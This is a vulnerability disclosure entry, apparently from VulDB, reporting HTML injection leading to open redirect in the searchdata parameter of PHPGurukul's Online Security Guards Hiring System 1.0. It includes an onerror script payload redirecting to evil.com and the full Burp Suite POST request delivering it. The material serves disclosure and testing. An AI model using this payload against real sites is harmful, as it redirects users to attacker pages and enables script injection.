| Titre | PHPGURUKUL Online Security Guards Hiring System 1.0 suffers from Open Redirect via search-request.php(searchdata parameter) |
|---|
| Description | # VULNERABILITY-TYPE : Open Redirect
# VENDOR OF THE PRODUCT : PHPGURUKUL
# AFFECTED PRODUCT : Online Security Guards Hiring System
# VERSION: 1.0
# ATTACK TYPE : REMOTE
# IMPACT: CODE EXECUTION
# AFFECTED COMPONENTS: SOURCE-CODE(search-request.php)
# ATTACK VECTOR: REQUEST STATUS(searchdata)
# DESCRIPTION: PHPGURUKUL Online Security Guards Hiring System 1.0
suffers from HTML Injection that leads to Open Redirect
via search-request.php(searchdata parameter)
# PAYLOAD_USED : <img src="#" onerror="location.href='http://evil.com';">
#BURPSUITE_POST_REQUEST
```markdown
POST /osghs/osghs/search-request.php HTTP/1.1
Host: localhost
Content-Length: 107
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/osghs/osghs/search-request.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=lgf2kr9584ice5n4tg29u1h9r2
Connection: close
searchdata=%3Cimg+src%3D%22%23%22+onerror%3D%22location.href%3D%27http%3A%2F%2Fevil.com%27%3B%22%3E&search=
```
# PROOF_OF_CONCEPT
- https://github.com/ctflearner/Vulnerability/blob/main/Online_Security_Guard_Hiring_System/osghs.md
|
|---|
| La source | ⚠️ https://phpgurukul.com/online-security-guards-hiring-system-using-php-and-mysql/ |
|---|
| Utilisateur | Affan (UID 39417) |
|---|
| Soumission | 08/06/2023 18:43 (il y a 3 ans) |
|---|
| Modérer | 08/06/2023 19:24 (41 minutes later) |
|---|
| Statut | Dupliqué |
|---|
| Entrée VulDB | 219596 [PHPGurukul Online Security Guards Hiring System 1.0 search-request.php searchdata cross site scripting] |
|---|
| Points | 0 |
|---|